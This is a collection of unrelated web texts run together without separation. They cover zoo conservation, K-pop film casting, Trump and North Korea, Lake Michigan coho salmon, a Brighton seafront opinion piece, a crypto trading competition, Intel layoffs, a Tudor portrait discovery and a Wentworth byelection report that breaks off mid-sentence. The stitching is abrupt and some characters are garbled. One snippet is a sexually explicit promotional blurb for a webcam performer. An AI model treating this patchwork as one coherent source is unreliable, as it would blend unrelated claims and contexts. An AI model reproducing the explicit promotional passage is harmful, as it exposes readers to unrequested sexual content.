When you talk to animal lovers, zoos can be a controversial topic. Some see zoos as a place of education that allows the general public to encounter some of the most wondrous species in the world. But others see zoos as unnatural and intrinsically cruel to the animals trapped behind the bars. This debate extends to the topic of conservation. Many people assert that zoos are helping the ecosystem by saving species threatened by extinction. The basic idea is that if a species is struggling in the wild, it can be protected in zoos. Breeding can be encouraged in a safe environment, and the public can be educated about the dangers the species is facing. Zoos have some track records of success. When the California condor was down to fewer than 30 birds, all remaining birds were placed in zoos. Through a captive breeding program, the species was restored and reintroduced into the wild. But some people are skeptical of this model. PETA asserts that “most animals” in zoos are not truly endangered and that the motivations of the zoos are not necessarily aligned with true conservation. “Zoos aren’t breeding animals with the intent of replenishing threatened populations,” PETA says. “Babies bring visitors through the gates, and captive breeding gives the public a false sense of security about a species’ survival. But that belief undermines support for and diverts resources from in-situ conservation efforts.” But not everything zoos do is necessarily within the walls of the zoo itself. The Association of Zoos and Aquariums tout its SAFE program that leverages zoo audiences to raise awareness for endangered animals. While SAFE does coordinate the placement of endangered animals within zoos, it also devotes resources to the field. It aims to rehabilitate animals in their natural habit and create a rebuilding strategy for the species. One example of SAFE making a difference is with the African penguin. “One year after its successful Kickstarter campaign to design, build, and test artificial nests for African penguins, the team has reported great success in developing the first artificial nest that mimics the biological parameters of natural nests almost perfectly, and the penguins have responded positively,” according to a SAFE report. “Two hundred artificial nests were installed and monitored at two penguin colonies in 2018 and nearly all (96 percent) were occupied at some point during the year.” Although some people accuse zoos of paying lip service to education while not really providing any educational value, across numerous endangered species, such as the American red wolf, it seems like a solid effort is being made by SAFE-affiliated zoos. “The American red wolf SAFE program was started with the hope of increasing awareness for this critically endangered native species,” Chris Lasher, North Carolina Zoo animal management supervisor, said in the SAFE report. “After less than a year, the American red wolf is seeing the advantages of being an AZA SAFE program with the increased exposure of the wolves’ story to a wider audience.” There are some other fears about using zoos to rehabilitate species. Inbreeding within zoos can change the genetic makeup of species, making it harder to reintroduce them into the wild. Animals can also contact fungi and bacteria in zoos that may not be found in their native habitat, which poses a risk to their wild ecosystem. Ultimately, the ideal place for conservation is a species’ natural habitat. But if there is not enough habitat remaining — or circumstances are extremely dire — then placement in zoos can be a last-ditch effort to save the species. In addition, zoos can help endangered species by deploying their expertise, education and other resources to help wildlife in the field. Zoos definitely have a place in the conservation process. But it should continue to be a larger strategy than just putting endangered species behind bars. This May, Care2 is launching a campaign to protect endangered species. Join us to save these real-life fantastic beasts! This article was first published by Care2.com on 7 May 2019. Lead Omage Source: Ring-tailed Lemurs are very common in zoos but critically endangered in the wild Photograph: Alamy Stock Photo

2NE1 Dara's first lead role will be in the upcoming movie 'One Step'! According to the production company�MCC Entertainment, Dara and actor Han Jae Suk have been�confirmed to play the leads in the new film 'One Step', previously called 'Echo'.� Dara will be playing Siyeon, who perceives sounds with colors. Han Jae Suk will be taking on the role of Jee Il, a formerly famous songwriter currently in a slump. The movie is about the two working together and growing together. 'One Step' is set to premiere before the end of 2016.�

Now, I know I can’t find a way to connect that beautiful pink hair that LunaLamb is wearing to furries, but I’ll see what can be done. Until then, this beautiful pale babe is bouncing around in her room, sometimes on her back, sometimes on a dildo. Either way, I love it when she bounces and it’s so fun to watch! LunaLamb‘s adorable face will have you in chains, submitting to her godliness, and especially when she shows you those perky little nipples. That impressive collection of Pokémon in the background is impressive, but it won’t even come into the top 10 list of things you’ll be looking at in LunaLamb‘s room, with the first spots occupied by everything that this beautiful babe does, is and creates. Go see her!

The historical commission was given unfettered access to ministry documents which showed down to smallest detail how the Nuremberg race laws – which after 1934 transformed Jews into an underclass without rights – allowed the bureaucrats to pillage and steal on an unprecedented scale from their victims, especially after the war began.

A leading jeweller is looking to use digital ledgers, pioneered by Bitcoin, to record the history of precious gems in a bid to increase the transparency of their stones' history and weed out thieves. Leanne Kemp, an international director at Edgelogix, told the Financial Times that she is working with UK insurance firm Aviva to create an online record called Blocktrace to help police authorities and insurers trace the history of precious stones such as diamonds. “I’m not excited about bitcoin. It’s the underlying technology that really excites me,” Kemp said, relating to how Blocktrace could help verify the history of Edgelogix's products on a decentralised online ledger - like that utilised by crypto-currencies such as Bitcoin. If the transactions were recorded on an online ledger system, the firm could break its dependency on third party group such as banks to authenticate gem transactions, which would instead be available on Blocktrace's open record. Kemp added that such technology could be used to map digital ledger certificates onto precious gems. Last September, the Bank of England praised Bitcoin's ledger system in its first crypto-currency report: “The application of decentralised technology to this platform of digital information could have far-reaching implications; other industries whose products were digitised have been reshaped by new technology.” Adding that the distributed ledger could have a much broader use than just in the financial industry.

Apple today uploaded eight new "Shot on iPhone" videos to its YouTube channel, showcasing the video capturing capabilities of the iPhone 6s and iPhone 6s Plus through videos taken by actual iPhone users around the world. Each video clip lasts for 16 seconds and is accompanied by music. Video content ranges from a rain storm in Los Angeles to penguins in Antarctica to a hippopotamus in Botswana. Several of the videos showcase iPhone 6s video features like Slo-Mo, while others are played in reverse or are sped up. Apple's "Shot on iPhone" campaign began in early 2015 following the launch of the iPhone 6 and the iPhone 6 Plus, sharing photos of iPhone 6 images in ads and on billboards across the globe. Later in 2015, Shot on iPhone expanded to encompass video imagery collected in a World Gallery . Apple re-launched the "Shot on iPhone" campaign in early 2016 to focus on the camera improvements in the iPhone 6s and the iPhone 6s Plus.

All photos courtesy Europe Comics Death of Stalin, the French graphic novel detailing two days of chaos between Joseph Stalin’s stroke and the announcement of his death, will get a new reprint ahead of the upcoming film adaptation. Perfect timing too, because (for some weird reason) we should remind ourselves what actual totalitarian governments are like. The novel, written by Fabien Nury and illustrated by Thierry Robinshows, focuses on the events between March 2 and March 4, 1953. According to the publisher, it was “two days that encapsulated all the insanity, the perversity, and the inhumanity of totalitarianism.” The graphic novel reveals the scary reality behind Stalin’s control in the days before his death. For example, it opens with an orchestra being forced by the military to play for hours so Stalin could get a recorded version of their performance. After Stalin’s heart attack, the novel goes into the attempts to keep the dictator alive, while members of his government conspire against one another to secure power after his inevitable death. Everyday people are treated like pawns— they live in fear and are ordered to do unspeakable things. Many are imprisoned or killed for slight offenses. It’s a story of violence and greed in a society that’s been corrupted by absolute power. It’s a stern reminder of what dictatorships are really like, taking propaganda away to show the true effect they have on people. However, the creators did say it’s technically historical fiction, even though it’s based on real events, because of how patchy and incomplete recounts from those days are. G/O Media may get a commission Aurora by Bellesa Buy for $74 from Bellesa Boutique Use the promo code AURORA25 Titan Comics will be printing a new English version of the graphic novel, as announced at ComicsPRO this week. In part, it’s because of the film adaptation by Veep creator Armando Iannucci, which has gotten U.S. distribution by IFC. The reprint should be available this fall. However, for those who want to check it out sooner, there’s a translated version available on Amazon Kindle. [The Hollywood Reporter]

PM Cameron says he hopes to keep UK border controls in Calais LONDON, June 27 (Reuters) - Prime Minister David Cameron on Monday said he wanted to keep in place arrangements with France that allow British border controls to be based in the French port of Calais, following last week's decision to leave the European Union.

Amber Guzak sized the moment up right. ``My husband [Ray] caught a fish [July 3] on Lake Michigan that’s pretty impressive-- a 17.8-pound coho (not a king),’’ she messaged. ``He’s been doing this for many years and has never come across a coho this size before.’’ That’s enough of a freak of a coho that I emailed Ben Dickinson, Indiana’s Lake Michigan fisheries biologist, to make sure it was a coho and not an oddly colored Chinook. ``Sure looks like a big coho,’’ he responded. ``I’ve seen a few that size caught this year. Probably a few others caught that weren’t widely shared as most people assumed they were kings.’’ Guzak caught his big coho just north of the Indiana state line, his wife messaged. They keep their boat, Reel Distraction, at Marina Shores in Burns Harbor, Ind. Something big is going on in southern Lake Michigan and I don’t just mean the occasional big Chinook, even 30-pound kings have already been reported in Illinois. But there are coho of a size not seen in decades. In my weekly reports from Capt. Bob Poteshman, he has been consistently calling them, ``big chunky coho.’’ In early June, Poteshman’s Confusion charters had already turned up a 17-pound coho, caught by Tom Zurek of Orland Hills, out of North Point Marina. This week in his weekly report, Capt. Scott Wolfe reported, ``Again coho dominated the catch with some big kings in the mix too--6- to 7-pound coho make up most of the catch with some this week up to 13 pounds.’’ As of Wednesday afternoon, there were already eight Chinook of 30 pounds or heavier weighed from boats in Salmon-A-Rama, based in Racine, Wis. and running through Sunday. All 10 top spots for coho were 10 pounds or heavier, the heaviest going 14.18. ``I would say they seem a bit larger than last year, yes – but really they have been larger than average for the last two or three years,’’ Dickinson emailed. Illinois Lake Michigan Program manager Vic Santucci emailed, ``I have been hearing some anecdotal reports of big salmon being caught again this year, but we will not see any data until after our fall harbor surveys and the summer creel data is tabulated over the winter. ``I think the bigger salmon are the result of better predator/prey balance in the lake.’’ Dickinson put the credit in the same spot. ``I feel fairly confident in saying that the biggest reason is the stocking reductions over the past few years have resulted in a much better predator prey balance in the lake – the reduction alleviated the predation pressure on the baitfish, so as a result we’re seeing more bait, and the silver fish have all improved in size and body conditions,’’ he emailed. ``We’ve seen very nice steelhead size in addition to the big coho and very large kings. There’s more bait to go around for the salmon in the lake. It’s quite the turnaround since the small, skinny fish in 2015!’’ I’ve been doing the outdoors for the Sun-Times for more than two decades and never figured that the coho records in Indiana or Illinois would ever be challenged again. I’m beginning to wonder if those coho records might not just be challenged but perhaps surpassed this year. ``Breaking our 20-pound, 9-ounce coho record would be quite a feat and a fun challenge for our local anglers,’’ Santucci emailed. ``We have had several Lake Michigan records broken for other species in recent years, it would be great if we could add a new coho record to the list.’’ Carry VandeVusse caught that Illinois record on May 24, 1972. That was back in the early years of the experimental introduction of salmon into Lake Michigan to control alewives. Significantly, 1972 was the same year that John Beutner caught the Indiana record (20-12) in LaPorte County. ``I would not be shocked to see a record, but I would be mildly surprised,’’ Dickinson emailed. ``Given the number of mid-teen coho I have seen it certainly seems to be in striking distance by the end of the year or maybe even next year if there is another good year for alewife and coho.’’ Last word goes to Amber Guzak on her husband Ray, ``He’s been fishing Lake Michigan since he was a young boy and said he has never seen one this big.’’

The White House offered a mixed reaction Tuesday to an apparent diplomatic overture from North Korean leader Kim Jong Un to neighboring South Korea, and to Seoul’s proposal to begin talks directly with Pyongyang next week, a move that could sideline the United States in the volatile region. After staying mum for two days about Kim’s offer, President Trump issued a tweet early Tuesday that repeated his favorite insult for the North Korean ruler, and then seemed to take partial credit for any thaw on the Korean peninsula while staying ambivalent about possible outcomes. “Rocket man now wants to talk to South Korea for first time. Perhaps that is good news, perhaps not — we will see!” Trump wrote. But on Tuesday night, Trump added a truculent nuclear taunt in response to Kim’s claim that the United States is “within the range of our nuclear strike and a nuclear button is always on the desk of my office.” Moments after Fox News highlighted the quote, Trump tweeted: “Will someone from his depleted and food starved regime please inform him that I too have a Nuclear Button, but it is a much bigger & more powerful one than his, and my Button works!” If Washington was wary, Seoul appeared eager to accept Kim’s offer, which was part of a New Year’s speech that is closely analyzed each year for clues to the enigmatic leader’s thinking. The two longtime adversaries have not held direct talks for more than two years. Cho Myoung-gyon, South Korea’s minister for unification, proposed Tuesday that negotiators meet on Jan. 9 at the divided border village of Panmunjom to discuss cooperation at next month’s Winter Olympics in Pyeongchang, South Korea, and how to improve overall ties. So far, no North Korean athlete has qualified for the Games, which start on Feb. 9. But South Korean officials have said they are working with the International Olympic Committee to grant wild cards to North Korean athletes in a sign of inter-Korean reconciliation. The Jan. 9 talks, should they take place, notably would not include the United States, China, Japan or Russia, which have dealt with North Korea in unsuccessful multi-party negotiations in the past. Nor would they include U.S. demands that Pyongyang give up its growing nuclear arsenal, and stop testing long-range ballistic missiles. That raised red flags for U.S. officials who questioned Kim’s motives, his sincerity and South Korea’s ability to deal with the wily ruler. “We won’t take any talks with North Korea seriously if they don’t do something to ban their nuclear weapons,” Nikki Haley, the U.S. ambassador to the United Nations, said at the U.N. on Tuesday. She said Pyongyang was a “reckless regime” that could not be counted on to enter talks in good faith. “We don’t need a Band-Aid,” she said. “We don’t need to stop and take a picture.” The State Department was less openly critical even as it urged caution. “We are close allies, and if [South Korea] wants to sit down and have a conversation with North Korea, that’s fine, that’s their right,” State Department spokeswoman Heather Nauert said. “But we aren’t necessarily going to believe that Kim Jong Un is sincere.” White House Press Secretary Sarah Huckabee Sanders insisted that the U.S. alliance with South Korea is “stronger than it ever has been,” with both countries working toward a denuclearized Korean peninsula. U.S. strategy continues to be “maximum pressure” to convince Pyongyang to end its nuclear program, she said. “We are going to keep all of our options on the table.” Chinese Foreign Ministry spokesman Geng Shuang, at a regular news briefing on Tuesday, said China “welcomes and supports” an opportunity for the two Koreas to improve relations, ease tensions and denuclearize the peninsula. “This is a good thing,” he said. Some analysts suggested that Kim was attempting to exploit recent divisions between Washington and Seoul. Relations between the long-standing allies have been strained under Trump, who has openly clashed with South Korean President Moon Jae-in. Trump, who visited Seoul in November, has repeatedly threatened to scrap a bilateral free trade deal with South Korea, and last summer condemned what he called Seoul’s “talk of appeasement” with the North. “Talks are not the answer!” he tweeted on Aug. 30. Moon, in turn, appeared to rebuke Trump’s threat to unleash “fire and fury” against North Korea, saying any military actions on the Korean peninsula required consultation and agreement from Seoul. He has publicly suggested military talks with the North in an effort to ease the growing impasse. On Tuesday, Moon appeared to align with the U.S. view about the long-term goal of any negotiations, suggesting talks with Pyongyang this month might be a first step. “The improvement of relations between North and South Korea cannot go separately [from] resolving North Korea’s nuclear program,” Moon said ahead of a Cabinet meeting. Kim may feel he can offer talks from a position of strength. In September, his government tested its sixth and most powerful nuclear device. In November it tested a long-range ballistic missile that U.S. officials said could potentially reach anywhere in America. In his New Year’s speech, Kim declared his nation had achieved the “historic feat of completing” its nuclear force and that the entire United States was now within range. He also warned that the “nuclear button” was on his desk, although it appears more symbolic than strategic. North Korea still has not developed a nuclear weapon that can survive a missile launch and reentry, though U.S. officials say that’s probably a matter of time. And the country still uses liquid-fueled ballistic missiles that take hours or days to launch. North Korean Leader Kim Jong Un just stated that the “Nuclear Button is on his desk at all times.” Will someone from his depleted and food starved regime please inform him that I too have a Nuclear Button, but it is a much bigger & more powerful one than his, and my Button works! — Donald J. Trump (@realDonaldTrump) January 3, 2018 In his speech, Kim appeared conciliatory toward South Korea, saying the two countries “should lower the military tensions on the Korean peninsula to create a peaceful environment.” Rather than showing strength, Kim may be showing his skill at making the best of a weak hand, said Sue Mi Terry, a former CIA analyst who now holds the Korea Chair at the Center for Strategic and International Studies, a nonpartisan Washington think tank. “With his outreach offer, he has the potential to drive a wedge between Washington and Seoul at no cost to himself,” she said, adding he might even demand concessions in return for participation in the Olympics. It would be a “propaganda gold medal for Kim,” Terry said. But if the Moon administration makes unilateral concessions to the North, she added, “it significantly risks straining the alliance” with the Trump administration. Over the last year, the United Nations Security Council and the Trump administration have both imposed trade sanctions on North Korea, curtailing its ability to buy oil and gas, sell agricultural products, use overseas workers to raise foreign capital, or conduct other business in international markets. Ian Bremmer, president of the Eurasia Group, a risk analysis consultancy, said Tuesday that the chances of a significant breakthrough, forged on the back of the Olympic Games, have elevated. But the unknown and potential spoiler is Trump’s reaction. Trump could launch an “enormously dangerous” Twitter firestorm, Bremmer said, or “take a 180-degree turn,” take credit for any progress, as his tweet Tuesday seemed to do, and then revive talk of a possible deal with Pyongyang that only he could cut. “We are at a bigger chance than during any time in the Obama administration for dialogue,” Bremmer said. “And we are at a bigger chance for war.” tracy.wilkinson@latimes.com For more on international affairs, follow @TracyKWilkinson on Twitter UPDATES: 7:38 a.m.: This article was updated with a new headline. 5:55 p.m.: This article was updated with a tweet from President Trump. 4:45 p.m.: This article was updated with reaction from China. This article was originally published at 4 p.m.

I PERSONALLY hate the Palace Pier in its current form. It is a blot on the seafront that perpetuates a culture that brings Brighton down and entrenches its reputation as a cheap, out-of-date seaside destination. Today there are very much two Brightons: the inland one of vibrant creative industries, modern restaurants and a dynamic population – and the seafront of tacky sideshows, fish and chips, rock and assorted paraphernalia. Unfortunately for Brighton, a large proportion of outsiders see it primarily as a destination for the latter rather than the former. I have been working in Brighton now for five years, while still living in London, and I can say that this is pretty much universally the impression that Londoners have of the city. This is a massive public relations problem. Luckily though, it is still a big draw, otherwise commercially it would fail (as many other British seaside resorts have). Indeed, whenever Brighton Fringe happens, people ask me how we compete with Brighton Festival – I reply that Brighton Festival is quite irrelevant really as the biggest competitor to Brighton Fringe is actually the seafront. However, this is a ticking time bomb and, in good time, I believe that the Brighton seafront will go the same way as other faded Victorian seaside resorts before it and become an embarrassment. There have been some attempts to turn the arches by the Pier into an artists’ hub but it hardly makes a dent in what is currently on offer, which is more akin to West Street than anything else. The current Brighton Pier is a beautiful photo opportunity on the outside and a disappointingly poor amusement arcade on the inside, surviving as a result of the endless day trippers coming from all over the country, and indeed the world, to try it out just once before going away for ever. Brighton has the largest number of day trip visitors of anywhere in the UK after London, mostly due to the pier and pavilion, so there seems to be no shortage of people willing to spend their two pence on those machines, via Sports Direct and Primark on their way back to their coaches. I see the parades of them every day from my office in the Old Steine. Brighton needs attractions that are dynamic and more ahead of the curve. The pier is a golden opportunity to create a destination that fits in with the times. Get that right and the rest of the seafront will follow suit: proper restaurants, bars, shops, galleries, a decent performance venue. Yes, maybe still some of the same sideshows but that should not be the sole raison d’être as it currently is. In short, a chance to move into the 21st century. The i360, controversial as it may be in certain quarters, is the start of something that can change the perception of that part of the city’s seafront. It should not be a shiny corporate entity either but at least it will be bringing a new angle to attract visitors to the city. One just has to look at the lamentable state of the promenade above Madeira Drive as a forerunner for the way that the rest of the seafront could well go otherwise. But for the endless stream of car rallies and charity events, Madeira Drive would be an utter wasteland. Brighton is extremely lucky to be located where it is and to have a (relatively to the UK) good rail connection but the council is complacent if it relies on the visitor number successes the city has so far – successes that the council has presided over largely as an outsider. It’s time for the Brighton seafront to learn from the rest of the city and move along. Why not a Michelin star restaurant on the pier or a location for local artists to establish themselves, a theatre, cinema or a small conference venue? I believe it is still there for the taking and hasn’t been fixed properly anywhere else along the local seafront, (except perhaps with Riddle and Finns). Brighton Marina had the chance to become something the rest of Brighton seafront never was, but instead became a tacky, cynical, empty, commercial pastiche of what is already everywhere else. What a waste. Even though I still happen to live in London, due to what I do, I consider myself a proud, passionate Brightonian and I long for a seafront that reflects what the rest of the city has woken up to in terms of visitor and local resident provision.”

Time for more music announcements! We’re gonna do this for a month by the way. Gird your loins. The (un)official band of Taco Bell, Lame Genie! Shark Party Master of Ceremonies, Sam Mulligan & The Donut Slayers! Better than a bowl of Fruity Pebbles, Wreck The System! Click the artist names to read their bios!

「アサシンズプライド」は、天城ケイによるライトノベル。 イラストはニノモトニノが担当しています。ファンタジア文庫（KADOKAWA）で2016年1月より刊行中にて、発行部数はシリーズ累計40万部を記録している人気作品です。物語は、主人公クーファ=ヴァンピールが、公爵家に生まれながら無才の少女メリダ＝アンジェルと共に、裏の任務や各々の運命と対峙していくファンタジー作品です。 マナという能力を持つ貴族が、人類を守る責務を負う世界。能力者の養成校に通う貴族でありながら、マナを持たない特異な少女メリダ=アンジェル。彼女の才能を見出すため、家庭教師としてクーファ=ヴァンピールが派遣される。 『彼女に才なき場合、暗殺する』という任務を背負い－－。能力が全ての社会、報われぬ努力を続けるメリダに、クーファは残酷な決断を下そうとするのだが……。 「オレに命を預けてみませんか」暗殺者でもなく教師でもない暗殺教師の 矜持（プライド）にかけて、少女の価値を世界に示せ！

To celebrate the BEP-2 EQL token (EQUAL) listing on Binance DEX, EQUAL is excited to announce an EQL trading competition on Binance.org — with up to 10,200,000 EQL to be airdropped to eligible traders. Campaign Period: 42 days, from August 19th 2019 0:00:00 AM (UTC) to September 30th 2019 11:59:59 PM (UTC), split into 6 rounds, 7 days per round. Total Rewards: 10,200,000 EQL Overview Total Rewards Budget: 10,200,000 EQL Duration: 6 weeks (42 days) Requirements: Daily volume greater than 300,000 EQL (Buy & Sell) on a minimum of 5 days a week. Minimum volume of 1,500,000 EQL per round Traders must hold 100,000 EQL & 10 BNB in the address to qualify each competition day. Trading Competition T&Cs:

The articles posted here come from a variety of sources around the web. My hope is that this information may awaken the mind and quicken the spirit -- so that one may discern, pray, and declare the importance of these days.

Looks like the layoffs at Intel that SemiAccurate said would happen began today. Worse yet the layoffs were at DCG/DPG as predicted but other areas not expected to get cut were hit as well. You might recall last November SemiAccurate exclusively brought you news that Intel was going to reorg, let key people go, and lay off 25-33% of DCG in Q1/2020. A few days later we brought you more exclusive news that DCG was now called DPG and several key people were retiring, and a few got promoted. That is two of the three key points confirmed in less than a week. It took about a month for Intel to post something about the reorg, which we again exclusively brought you, but they still haven’t officially admitted to it. We can’t explain this last bit. That left the massive cuts to DCG/DPG that the company didn’t actually deny. Their statement to us was, “Reports of large employee reductions in our data platform business group are inaccurate.” Remember kids, tense matters. SemiAccurate took that statement of confirmation of the third point but we didn’t want to say that until it happened which brings us to today’s events. First we want to wish all those laid off a speedy search for a new home. Based on the number of our sources talking to you or your colleagues, it doesn’t look like it will be a long slog to find a job this time. That said this is not a good thing for anyone. We previously said that 25-33% of DCG would be laid off, and that appears to still be happening but not all of it is happening today. Unfortunately for those involved there is more to this story, and it isn’t just limited to DCG any more, something we said may happen in our initial article. Now we can add a bit of color to the news and add a few more groups to the list. Note: The following is analysis for professional level subscribers only. Disclosures: Charlie Demerjian and Stone Arch Networking Services, Inc. have no consulting relationships, investment relationships, or hold any investment positions with any of the companies mentioned in this report.

Are you looking for ways to improve your business website? Want to know why adding video should be one of the techniques to try? We share five reasons you should use video on your website in the infographic below, here are the key points: Selling is about storytelling, and videos are a great way to share a story Videos keep people on your website longer and engage them with your content People work with people, and video helps people get to know, like and trust you Videos keep your audience interested, no matter your product or service Videos are fast and convenient Enjoy the infographic. This post was first published on the Red Website Design Blog.

The latest update for zombie survival sandbox DayZ brings with it several new fixes and features, including a few tweaks that will stop some players and spawned zombies from being invisible to others, according to a post on the game's Tumblr. Additions have also been made to the steadily-growing hunting and cooking system. A new system for "emissive" textures has been implemented, which will make the air around fires give off a heat haze. Players can also now upgrade fireplaces to make makeshift heat ovens for cooking in the wilderness. New craftable content included in the update, besides fireplaces and cooking improvements, includes PVC bows and tweaks to the AKM gun that will make it compatible with the DayZ attachment system. The team is working on a side-mounted PSO scope to add on to AK weapons as well. Throwing, ragdoll and bow and arrow physics have also been smoothed over for more realistic arcs. Arrows will also now stick into targets and the animations for drawing and firing bows has been improved. New towns have also been added to the Chernarus map, tucked away and abandoned in the green landscape. Pictures of two such areas can be found in the Tumblr post. The team is also working to improve animal, collision and roaming zombie pathfinding and optimizations for the persistent loot system. Once the build containing these updates is stable, developer Bohemia Interactive will push it live. Future updates will include vehicles and a barricading system, according to the post.

An intriguing mystery surrounding one of the most important portraits of the early 16th century has been solved by an art historian at St John’s College. Portrait of Lady Margaret Beaufort by Meynnart Wewyck Image supplied by: St John's College, University of Cambridge (8154679) The painting of Lady Margaret Beaufort - mother of King Henry VII - is the first piece of work identified as by Dutch artist Meynnart Wewyck, and the oldest large-scale portrait of an English woman. While Wewyck was Henry VII’s preferred painter, his name has been unknown because the absence of a signed or documented work has made it impossible to attribute paintings to him. His 180cm tall by 122cm wide painting is the earliest large-scale portrait of an English woman, and one of the earliest large-scale portraits of a single individual in the UK. Educationalist and philanthropist Lady Margaret was one of the wealthiest women in England and, once her son was on the throne, used her money to build schools, churches, and two University of Cambridge colleges – Christ’s and St John’s. The portrait of her held at St John’s was originally believed to have been given to the college in the late 16th century. But fellow Dr Andrew Chen, an art historian, found documents in the college archives referring to a painting of Lady Margaret by Wewyck arriving at St John’s in 1534. Analysis of tree rings in the wooden frame of the portrait showed it was made before 1521, enabling Dr Chen and Dr Charlotte Bolland, senior curator at the National Portrait Gallery, to link the painting to the one referenced in the college records. Dr Chen said: “This portrait of Lady Margaret Beaufort is one of the most important portraits of the early 16th century. It demonstrates that elite patrons were working with European painters who had the skills to realise large, ambitious compositions even before Hans Holbein the Younger arrived in the England in 1526.” Paintings of women depicted on their own in a large-scale format are very rare. Dr Andrew Chen Picture: St John's College, University of Cambridge (8154681) Dr Chen explained: “On smaller scales, portraits of women would be displayed in houses or circulate as part of marriage negotiations. Women are also shown on larger scales as donors in altarpieces, but in these contexts they are associated with religious subjects and normally paired with men. “The composition of our Lady Margaret portrait derives from the art of sacred settings, but, significantly, here the woman comes to stand alone. This innovation in format seems to be related to the fact that she was the foundress of institutions.” The portrait was commissioned shortly after Lady Margaret’s death, around 1510, by John Fisher, Bishop of Rochester and Lady Margaret’s advisor. In 1534 he fell out of favour with King Henry VIII, Lady Margaret’s grandson, and his home was raided by the king’s henchmen, who stole or destroyed many of his possessions, including books he had promised to St John’s College Library. But the portrait of Lady Margaret was safe at the Bishop of Rochester’s palace in Lambeth Marsh and was transported to St John’s shortly afterwards to ensure it would not be destroyed. Dr Mark Nicholls, Tudor historian and fellow of St John’s, said: “In contrast to the similar portrait of Lady Margaret in the college's hall, which was commissioned from the artist Rowland Lockey in 1598, the origins of this painting have long been mysterious. “Now, thanks to a productive coming together of scientific analysis and close reading of surviving documents in the college's collection, we can recognise a remarkable early Tudor portrait for what it is, and place it accurately in the long tradition of portraiture on display in the college.” Researchers have now connected Wewyck to a portrait in similar style of Henry VII, owned by the Society of Antiquaries of London. Further technical analysis of the paintings may help discover further pieces. Dr Chen said: “These paintings can serve as touchstones for further research into Wewyck’s work. As perhaps the first Netherlandish painter to find work at the Tudor court, Wewyck stands at the beginning of a process of the transfer of artistic skills that would dominate the production of painted portraiture in England throughout the 16th century. It’s a very exciting discovery.” Read more Alzheimer's breakthrough from University of Cambridge scientists 'could lead to drug trials in two years' Knighthood for Prof Christopher Dobson, master of St John’s College, in recognition of ground-breaking Alzheimer’s research

Liberal candidate expresses stance in contrast to party’s official policy as he comes under fire over climate change This article is more than 1 year old This article is more than 1 year old The Liberal candidate for Wentworth, Dave Sharma, has said “he is open” to relocating Australia’s embassy to Jerusalem as the US has done, in contrast to the official policy of both the Liberals and Labor to leave it in Tel Aviv. As the battle in the Wentworth byelection enters its final week, the votes of the large Jewish community that lives in Wentworth could be crucial to whether the Liberals hold the seat. There are around 20,000 Jewish people in Wentworth, according to the 2016 census, making up 12.5% of the population. Tony Abbott says Turnbull 'owes it' to Liberals to endorse Wentworth candidate Read more The issue is highly contentious as Jerusalem is important to both the Palestinians and Israelis, and its future will be central to the two-state solution that Australia and others have backed. Sharma, a former Australian ambassador to Israel, said at a candidates’ forum on Monday: “I think we should be open to considering it as Australians. The US has done it.” But he added: “We need to look at in context of a two-state solution.” But on his Twitter feed and during his pitch to Liberal preselectors he has been more explicit. Dave Sharma (@DaveSharma) Even if we don’t move Embassy, we shld at least consider recognising Jerusalem as Israel’s capital (w/o prejudice to its final boundaries or potential status as capital of future Palestinian state). Where else do we disagree with a country about where its capital is? https://t.co/F30Dh1GOyN Dave Sharma (@DaveSharma) Trump’s announcement on Jerusalem, though risky, carries with it an opportunity to advance peace. Will he take it? pic.twitter.com/hIioxWhA5n The main candidates are due to participate in a panel at the Jewish Board of Deputies in Woollahra on Tuesday but the candidates faced questions on the embassy question on Monday when they participated in the Sydney Morning Herald’s candidate panel at Bondi Surf Bathers Life Saving Club. The leading independent candidate and local GP, Kerryn Phelps, who is a convert to Judaism, said it was “a difficult issue” and that if elected, she would be seeking briefings on the impact moving it would have on achieving a two-state solution. 'Taken over by extremists': Malcolm Turnbull's son urges voters to dump Liberals Read more But Labor’s Tim Murray said though he recognised how important the issue was to people in Israel (he referred to the views of Israel’s Labor leader), he said Australia should only consider such a move once a two-state solution was achieved. “I would want a two-state solution first, and on basis of a strong peace consider moving to Jerusalem,” Murray said. This was the first time Sharma had appeared on a panel with his main rivals: Phelps, Murray, the Greens’ Dominic Wy Kanak and independent Licia Heath. Not surprisingly, climate change dominated as an issue. Outside the surf club in driving rain, GetUp staged a small protest. A number of activists dressed as prime minister Scott Morrison brandished lumps of coal, while another dressed as former prime minister Tony Abbott shivered in his budgie smugglers. Facebook Twitter Pinterest GetUp demonstrators took aim at the Coalition’s record on climate change outside the candidate’s forum. Photograph: Carly Earl/The Guardian Sharma said he accepted the scientific evidence showing climate change was caused by human activity and said he supported Australia’s Paris commitments. He repeated the government’s assurances that the nation was on track to meet its pledged cuts to greenhouse gas emissions by 2030, even though several expert reports, including the World Bank, have cast doubt on this. Sharma also said the nation needed to address energy affordability and security. “Coal currently provides 60% of our energy and will be part of the energy mix for years to come, he said. This brought a robust exchange from the other candidates. Facebook Twitter Pinterest Dave Sharma is mobbed by protesters as he arrives at a candidates forum in Bondi on Monday. Photograph: Carly Earl/The Guardian “You are in a party dominated by climate change sceptics and unless you cross the floor you will be part of a party with no climate change policy,” Phelps said. If elected, Phelps said, she will work across the major parties to achieve policies that address climate change. Murray said the Coalition had a complete lack of comprehensive policy on either climate change or energy and without it they were powerless to effect power prices. “They are wrong that renewables are more expensive,” Murray said. He urged a vote for Labor, arguing it was the only party that could form government and actually deliver a climate change policy. But Murray also came under pressure. He had pledged in his opening address to work within the Labor party to stop the giant Adani mine in Queensland’s Galilee basin going ahead. But Phelps said unless he crossed the floor, which would result in expulsion from the Labor party, he was powerless to vote against Adani’s Carmichael coalmine. Facebook Twitter Pinterest (L-R) Liberal candidate Dave Sharma, independent Kerryn Phelps, Labor’s Tim Murray, Greens candidate Dominic Wy Kanak and independent Licia Heath. Photograph: Carly Earl/The Guardian On the question of the summary dismissal of the former member, Malcolm Turnbull, Sharma said he “shares that frustration of his electorate” of Wentworth over the infighting that led to Turnbull’s ousting as prime minister. “I consider him a mentor and a friend and appalled at treatment meted out to him,” he said. Kerryn Phelps urges Wentworth voters to use byelection to protest 'inhumane' refugee policies Read more But he warned the choice facing electors this Saturday was stability or instability: a one-seat majority or a hung parliament. Turnbull held Wentworth with a 17% margin, two-party-preferred. But the Liberals are bracing for a hit this Saturday, with Phelps and Murray both commanding significant slices of the vote in a field of 16 candidates. Polls have indicated the Liberals’ primary vote has been slashed to the low 40s or even as low as 38.8%, according to a weekend Voter Choice Project poll of 723 people. Phelps, who is polling around 23% of the vote, could win if she comes in second and then gets over the line with Murray’s preferences and the preferences of others. Phelps again faced questioning over why she had put the Liberals ahead 